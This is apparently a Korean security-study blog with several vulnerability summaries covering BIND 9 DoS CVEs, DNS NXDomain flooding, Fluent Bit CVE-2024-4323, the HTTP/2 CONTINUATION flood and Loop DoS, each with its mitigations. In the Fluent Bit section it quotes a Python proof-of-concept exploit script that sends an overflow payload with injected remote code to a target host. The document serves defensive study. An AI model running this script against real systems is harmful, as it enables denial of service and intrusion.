꼰머의 보안공부

보안뉴스

보안뉴스

보안뉴스

1. BIND (Berkeley Internet Name Domain) [1]

- DNS를 구현한 오픈소스 소프트웨어 [2]

2. 주요내용

- CISA는 BIND 9 DNS 소프트웨어 제품군에서 발견된 여러 취약점에 대한 권고 발표 [3]

> ISC에 의해 발견되어 패치가 적용됨

> 공격자들은 이를 악용해 DoS 공격을 실행할 수 있음

2.1 CVE-2024-4076 [4][5]

- DNS 서버에서 오래된 데이터와 로컬 데이터 조회가 동시에 이루어질 때 발생하는 오류(Assertion 실패)가 서비스 거부 상태를 유발

> Assertion: BIND 서버가 특정 조건이나 상태를 확인하고, 맞지 않을 경우 오류 발생 또는 특정 동작을 수행하는 것

영향받는 버전
- BIND 9
> 9.16.13 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.11.33-S1 ~ 9.11.37-S1
> 9.16.13-S1 ~ 9.16.50-S1
> 9.18.11-S1 ~ 9.18.27-S1

2.2 CVE-2024-1975 [6][7]

- KEY 레코드를 처리하거나 캐시된 레코드를 검증할 때, SIG(0) 서명된 요청을 연속적으로 전송하여 CPU 리소스를 소진(과도한 부하)시켜 서비스 거부 상태를 유발

> 서버가 KEY Resource Record가 포함된 영역을 호스팅하거나, DNSSEC이 KEY Resource Record를 캐시의 DNSSEC 서명 도메인에서 유효성을 확인하는 경우

> KEY Resource Record(DNSKEY 레코드): DNSSEC 서명을 확인하는 데 사용되는 공개 키가 포함되어 있으며, 이를 이용해 무결성을 검증 [8]

> SIG(0) 서명: DNSSEC에서 DNSKEY 레코드의 무결성을 보장하기 위해 사용되는 디지털 서명(즉, DNSKEY 레코드에 대한 디지털 서명)

> 클라이언트는 서버로부터 DNSKEY 레코드와 SIG(0) 서명을 받아 DNSKEY 레코드에서 공개키 추출 및 해당 공개키를 사용해 SIG(0)의 서명의 유효성 검증

영향받는 버전
- BIND 9
> 9.0.0 ~ 9.11.37
> 9.16.0 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.9.3-S1 ~ 9.11.37-S1
> 9.16.8-S1 ~ 9.16.49-S1
> 9.18.11-S1 ~ 9.18.27-S1

2.3 CVE-2024-1737 [9][10]

- 서버가 동일한 호스트에 대해 많은 수의 Resource Records(RR)를 보유하고 있는 경우 데이터베이스의 성능 저하를 유발

> DB에 RR 내용 추가나 업데이트 또는 클라이언트의 쿼리 처리 시 성능 저하가 발생할 수 있음

> 질의 속도가 100배 느려질 수 있음

영향받는 버전
- BIND 9
> 9.11.0 ~ 9.11.37
> 9.16.0 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.11.4-S1 ~ 9.11.37-S1
> 9.16.8-S1 ~ 9.16.50-S1
> 9.18.11-S1 ~ 9.18.27-S1

2.4 CVE-2024-0760 [11][12]

- TCP를 통해 다수의 DNS 메시지를 보내 서버 과부하 또는 다운을 발생시켜 서비스 거부 유발

> ACL을 사용해도 공격이 완화되지 않음

영향받는 버전
- BIND 9
> 9.18.1 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.18.11-S1 ~ 9.18.27-S1

3. 대응방안

- 최신 보안 업데이트 적용 [13][14]

※ CVE-2024-1975의 경우 serve-stale(만료된 콘텐츠를 클라이언트에 제공하는 것) 비활성화 시 완화 가능한 것으로 보임

4. 참고

[1] https://www.isc.org/bind/
[2] https://github.com/isc-projects/bind9?tab=readme-ov-file
[3] https://www.cisa.gov/news-events/alerts/2024/07/24/isc-releases-security-advisories-bind-9
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-4076
[5] https://kb.isc.org/v1/docs/cve-2024-4076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-1975
[7] https://kb.isc.org/v1/docs/cve-2024-1975
[8] https://www.cloudflare.com/ko-kr/learning/dns/dns-records/dnskey-ds-records/
[9] https://nvd.nist.gov/vuln/detail/CVE-2024-1737
[10] https://kb.isc.org/v1/docs/cve-2024-1737
[11] https://nvd.nist.gov/vuln/detail/CVE-2024-0760
[12] https://kb.isc.org/v1/docs/cve-2024-0760
[13] https://kb.isc.org/docs/aa-00913
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71506&menuNo=205020
[15] https://www.dailysecu.com/news/articleView.html?idxno=158092
[16] https://m.boannews.com/html/detail.html?idx=131717&skind=5
[17] https://asec.ahnlab.com/ko/79800/

1. 개요

- DNS 서버의 핵심적 열할 때문에 항상 주요 공격 표적이 됨 [1]
> 23년 한 보고서에 따르면 DNS 서버를 대상으로 한 DDoS 공격은 22년 대비 약 4배 증가 [2]
- 과거 DNS 서버 대상 위협이 확인되지 않던 과거와 달리 최근 국내 DNS 서버를 대상으로 한 공격이 식별 및 증가 추세
> 24년 초를 기점으로 유입되었던 소량의 이상 트래픽은 점차 증가
> DNS 서버가 짧은 기간 동안 지속적이면서도 반복적인 대량의 NXDomain 응답 반환 식별

2. 주요내용

2.1 DNS

- Domain Name Service: 도메인 네임(www[.]example[.]com)과 IP 주소(1.1.1[.]1)를 서로 변환하는 역할

> DNS Client는 DNS Resolver에게 도메인 네임의 IP 주소를 요청

> DNS Resolver는 Root 네임 서버, TLD(Top-Level Domain) 네임 서버, Authoritative 네임 서버에 질의를 전송 및 응답

2.2 NXDomain (Non-eXistent Domain)

- 질의한 도메인 네임이 존재하지 않을 때 응답 값

2.3 DDoS

2.3.1 NXDomain Flooding (Nonsense Name Attack)

- 2015년에 처음 알려진 공격 유형

- 존재하지 않는 도메인 질의를 요청할 시 권한(Authoritative) 네임 서버가 불필요한 자원을 소모한다는 점을 착안

> IP를 위•변조하여 존재하지 않는 도메인에 대한 다량의 질의를 통해 요청을 처리하는 DNS 서버의 자원을 소모시켜 서비스 거부 상황을 초래

※ 단순히 대상 DNS 서버의 자원을 소모시키는 목적을 지니므로 요청에 대한 응답을 받을 필요가 없으므로 IP 위•변조 가능

2.3.2 Sub-Domain Scan Attack

- Sub-Domain: 주 도메인에 추가된 하위 도메인

> 서로 다른 별도의 기능을 가진 웹사이트를 구분하여 운영하기 위해 사용

- 해당 공격은 공격자가 대상 도메인의 하위 도메인을 검색하여 네트워크 구조 파악 및 잠재적인 취약점을 찾기 위함

> 다양한 서브 도메인을 질의하여 존재 여부 확인을 목적으로 하며, 존재하지 않는 서브 도메인의 경우 NXDomain 응답

> 보호되지 않은 자원을 발견하거나 공격할 수 있는 새로운 경로를 찾는 것이 목적

※ DNSCewl(서로 다른 문자열을 조합하여 공격에 사용 가능한 새로운 문자열 생성하는 도구), haklistgen(외부 홈페이지를 스캔하여 서브 도메인, HTTP Response 페이로드에서 공격에 활용할 수 있는 문자열을 추출하는 도구) 등의 Tool 사용 [5][6]

※ 질의한 서브 도메인이 실제 존재하는지를 확인해야 하므로 IP 위•변조 불가

3. 대응

- NSDomain Flooding은 과도한 응답을 유발시키는 것이 목적

> Response Rate Limiting (RRL)를 통해 NXDomain에대한 질의를 제한 (nxdomains-per-second: 초당 NXDOMAIN 응답 수 제한) [7]

> L7 레벨에서 DNS서버의 NXDomain 응답 임계치를 설정하고, 임계치 이상의 응답이 있을 경우 해당 출발지 IP를 임시(or 영구) 차단

- Sub-Domain Scan은 취약하거나 새로운 공격 표면을 찾기 위한 목적

> 취약한 도메인이 외부에서 접속 가능한 상태로 운용되지 않도록 조치

> 또한, 조직 내부적으로 지속적인 공격 표면 관리(ASM, Attack Surface Management)를 통해 공격 표면을 줄이고 잠재적 위협을 사전에 차단해 보안 강화 필요

공격 표면 관리(ASM, Attack Surface Management)
> 조직이 소유 및 운영하는 모든 자산을 지속적으로 모니터링
> 잠재적인 취약점 식별 및 이에 대한 대응 조치를 취하는 보안 전략
> 모든 서브 도메인과 경로를 포함한 전체 자산을 명확히 파악할 수 있으며, 내부 자산에 대한 가시성 확보 가능
> 노출된 공격 표면을 최소화하고 발견된 취약점을 신속히 조치함으로써 잠재적 공격 벡터를 줄일 수 있음

4. 참고

[1] https://www.fsec.or.kr/bbs/detail?menuNo=244&bbsNo=11509

[2] https://www.radware.com/security/threat-advisories-and-attack-reports/escalating-trends-in-dns-flood-attacks/

[3] https://inpa.tistory.com/entry/WEB-%F0%9F%8C%90-DNS-%EA%B0%9C%EB%85%90-%EB%8F%99%EC%9E%91-%EC%99%84%EB%B2%BD-%EC%9D%B4%ED%95%B4-%E2%98%85-%EC%95%8C%EA%B8%B0-%EC%89%BD%EA%B2%8C-%EC%A0%95%EB%A6%AC

[4] https://www.networkworld.com/article/934916/a-new-kind-of-ddos-threat-the-nonsense-name-attack.html

[5] https://github.com/codingo/DNSCewl

[6] https://github.com/hakluke/haklistgen

[7] https://www.manageengine.com/dns-dhcp-ipam/help/response-rate-limiting-rrl-in-ddi.html

1. Fluent Bit [1][2]

- 오픈소스 멀티플랫폼 로그 프로세서 도구
- 로그를 수집, 처리하여 파이프라인을 통해 다양한 대상(Elasticsearch, Splunk 등)으로 전달하는 기능을 수행
- 메모리 사용량이 적고 의존성이 적어 가벼움 등 다양한 장점
- Google, Mircosoft, AWS, Cisco 등 여러 기업에서 사용

2. 취약점

- 취약한 버전의 Fluent Bit에서 발생하는 메모리 손상 취약점 (CVSS: 9.5)
> 익스플로잇 방법에 따라 DDoS, 데이터 유출, 원격 코드 실행 공격 등이 가능

영향받는 버전
- Fluent Bit 2.0.7 ~ 3.0.3 버전

2.1 주요 내용

- 임베드 된 HTTP 서버가 일부 요청을 처리할 때 취약점이 발생

> /api/v1/traces (또는 /api/v1/trace) 엔드포인트에서 일정 유형의 입력 데이터가 적절히 확인되지 않은채 다른 프로그램으로 전달되어 취약성 발생

> 문자열이 아닌 값을 입력할 때 메모리에서 여러 가지 문제를 유발

> cd_traces() 함수에서 input_name 변수를 flb_sds_create_len() 함수를 이용해 할당
> 입력 값을 검증하지 않고 flb_sds_create_len() 함수 호출 및 사용하여 취약점이 발생하는 것으로 판단됨

※ cd_traces(): fluent-bit/src/http_server/api/v1/trace.c
※ flb_sds_create_len(): fluent-bit/src/flb_sds.c

※ 취약점 발생 시나리오 예시
- 큰 정수 값(또는 음수 값)은 메모리 보호를 위해 쓰기를 시도할 때 나중에 memcpy()를 호출할 때 "와일드 복사본"으로 인해 충돌 발생 가능
- -1~-16 값은 인접한 메모리의 힙 덮어쓰기를 유발할 수 있음
- 충돌할 만큼 크지 않은 정수 값은 요청을 하는 클라이언트에게 인접 메모리가 공개될 수 있음
- -17 값은 코드 후반부의 malloc()이 0으로 실패한 후 널 포인터 역참조로 인해 충돌이 발생
-  더 작고 더 많은 대상 정수 값은 다양한 스택 손상 및 힙 관리 메커니즘의 손상된 청크 및 끊어진 링크와 같은 기타 메모리 손상 문제를 유발

2.2 PoC  [4]

- /traces URL에 BoF를 유발할 만큼 큰 임의의 문자와 원격 명령을 전달

import requests
import argparse

def exploit(url, port, remote_code):
    target_url = f"http://{url}:{port}"

    # Malicious payload to trigger the memory corruption
    malicious_payload = (
        "GET /traces HTTP/1.1\r\n"
        f"Host: {url}\r\n"
        "Content-Length: 1000000\r\n"  # Large content length to trigger buffer overflow
        "Connection: keep-alive\r\n\r\n"
        + "A" * 1000000  # Large amount of data to overflow the buffer
        + remote_code  # Inject remote code at the end
    )

    try:
        response = requests.post(target_url, data=malicious_payload, headers={"Content-Type": "application/octet-stream"})
        print(f"Response Code: {response.status_code}")
        print(f"Response Body: {response.text}")
    except Exception as e:
        print(f"Exploit failed: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit for CVE-2024-4323")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-p", "--port", required=True, help="Target port number")
    parser.add_argument("-c", "--code", required=True, help="Remote code to be executed")

    args = parser.parse_args()

    exploit(args.url, args.port, args.code)

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

4. 참고

[1] https://fluentbit.io/
[2] https://github.com/fluent/fluent-bit
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-4323
[4] https://github.com/skilfoy/CVE-2024-4323-Exploit-POC
[5] https://fluentbit.io/announcements/v3.0.4/
[6] https://www.tenable.com/security/research/tra-2024-17
[7] https://www.boannews.com/media/view.asp?idx=129955&page=1&kind=1

1. 개요

- HTTP/2 프로토콜 취약점으로인한 서비스 거부 공격이 발견

- HTTP/2 Rapid Reset 공격보다 더 심각한 문제를 유발

> 단일 TCP 연결로 웹 서버를 중단시킬 수 있음

2. 주요 내용 [1]

- HTTP/2에서 통신의 최소 단위를 Frame이라하며, 하나의 프레임이 포함 [2][3]
- 프레임 헤더는 최소한으로 어떤 스트림에 속하는 프레임인지 식별을 가능케 함

- HEADERS와 CONTINUATION 프레임이 공격에 악용

> HEADERS 프레임에서 END_HEADERS 플래그가 설정되지 않은 경우 CONTINUATION 프레임이 이어서 전송

> CONTINUATION 프레임에서 END_HEADERS 플래그가 설정되지 않은 경우 CONTINUATION 프레임이 이어서 전송

- 즉, 클라이언트가 새로운 HTTP/2 스트림을 시작하고

> HEADERS 및 CONTINUATION 프레임을 전송하지만, END_HEADERS 플래그가 설정되지 않은 경우 

> HTTP/2 서버가 구문 분석하고 메모리에 저장해야 하는 헤더의 무한한 스트림이 생성

- HTTP/1.1에서는 두 가지 메커니즘을 통해 무한 헤더 문제로부터 보호

> 헤더 크기 제한: 헤더 목록이 허용된 크기를 초과 하면 연결이 끊어짐

> 요청/헤더 시간 초과: 요청/헤더가 적시에 전송되지 않으면 연결이 끊어짐

> HTTP/2에서는 구현되어 있지 않거나, 잘못 구현되어 있어 CPU, 메모리 부족 등 서비스 거부로 이어질 수 있음

- CERT-CC(CERT Coordination Center)는 해당 공격에 해당하는 CVE ID를 공개 [4]

> 메모리 누수, 메모리 소비, CPU 소모 등 다양한 수준의 서비스 거부 공격 허용

3. 참고

[1] https://nowotarski.info/http2-continuation-flood-technical-details/
[2] https://datatracker.ietf.org/doc/html/rfc7540#section-6
[3] https://itchipmunk.tistory.com/272
[4] https://kb.cert.org/vuls/id/421644
[5] https://www.bleepingcomputer.com/news/security/new-http-2-dos-attack-can-crash-web-servers-with-a-single-connection/

1. 개요

- UDP 프로토콜의 구현상 문제로 인해 발생하는 서비스 거부 취약점이 발견 [1]

- 두 서비스간 오류 메시지를 무한정 주고받도록 하여 서비스 거부 유발

- 최소 30만 개의 서버가 취약점에 영향받는 것으로 파악됨

2. CVE-2024-2169

- UDP 애플리케이션 프로토콜의 구현 문제로 인해 공격자는 악의적으로 제작된 패킷을 사용해 서비스 거부 유발 가능

> 벤더사 Broadcom, Cisco, Honeywell, Microsoft, MikroTik가 영향을 받는것으로 확인

> DNS, NTP, TFTP, Active Users, Daytime, Echo, Chargen, QOTD, Time과 같은 UDP 프로토콜의 특정 구현을 악용해 자체 영속적인 공격 루프를 생성할 수 있음

> 약 30만 개의 호스트에 영향

- UDP는 설계상 Source IP의 유효성을 검사하지 않는 비연결형 프로토콜로, IP 스푸핑에 취약

> UDP는 송수신자간 검증 및 직접 연결을 설정하지 않고, 패킷을 전송

> 따라서, 공격자가 Target IP로 스푸핑하여 응답할 서버로 전송해 취약점을 유발

- IP 스푸핑 및 조작된 요청을 전송하여, 두 서비스가 서로의 메시지에 계속 응답하는 루프 생성

> 두 시스템이 오류 메시지를 무한정으로 주고받아(=Loop) 서비스 거부 발생

2.1 공격 시나리오

시나리오 ①

- 다수의 호스트와 대상 서버간 루프를(N:1) 생성해 단일 대상에 DoS 유발

시나리오 ②

- 백본 네트워크에 존재하는 호스트간 루프를(N:N) 생성해 다수 대상에 DoS 유발

시나리오 ③

- 내부 호스트와 외부 호스트간 루프를(N:N) 생성해 업링크에 부하 유발

시나리오 ④

- 루프 대상이 단일 응답이 아닌 여러 응답을 발생해 자체 증폭 루프를 형성

> 가장 파괴적인 유형으로, 모든 네트워크 트래픽을 중단하지 않는 한 계속 발생할 것

3. 대응방안

- 벤더사 제공 업데이트 적용

> 취약점 확인 후 벤더사에 전달해 조치가 이뤄지는 중

- UDP 애플리케이션 대상 방화벽 규칙 및 ACL 적용

- 불필요 UDP 비활성화

- QoS를 사용해 네트워크 트래픽 제한

- BCP38 및 uRPF(Unicast Reverse Path Forwarding) 등의 스푸핑 방지 솔루션 도입

4. 참고

[1] https://cispa.de/en/loop-dos
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-2169
[3] https://www.bleepingcomputer.com/news/security/new-loop-dos-attack-may-impact-up-to-300-000-online-systems/#google_vignette
[4] https://thehackernews.com/2024/03/new-loop-dos-attack-impacts-hundreds-of.html
[5] https://securityaffairs.com/160851/hacking/loop-dos-attack.html
[6] https://www.darkreading.com/cloud-security/300k-internet-hosts-at-risk-for-devastating-loop-dos-attack
[7] https://www.boannews.com/media/view.asp?idx=127987&kind=1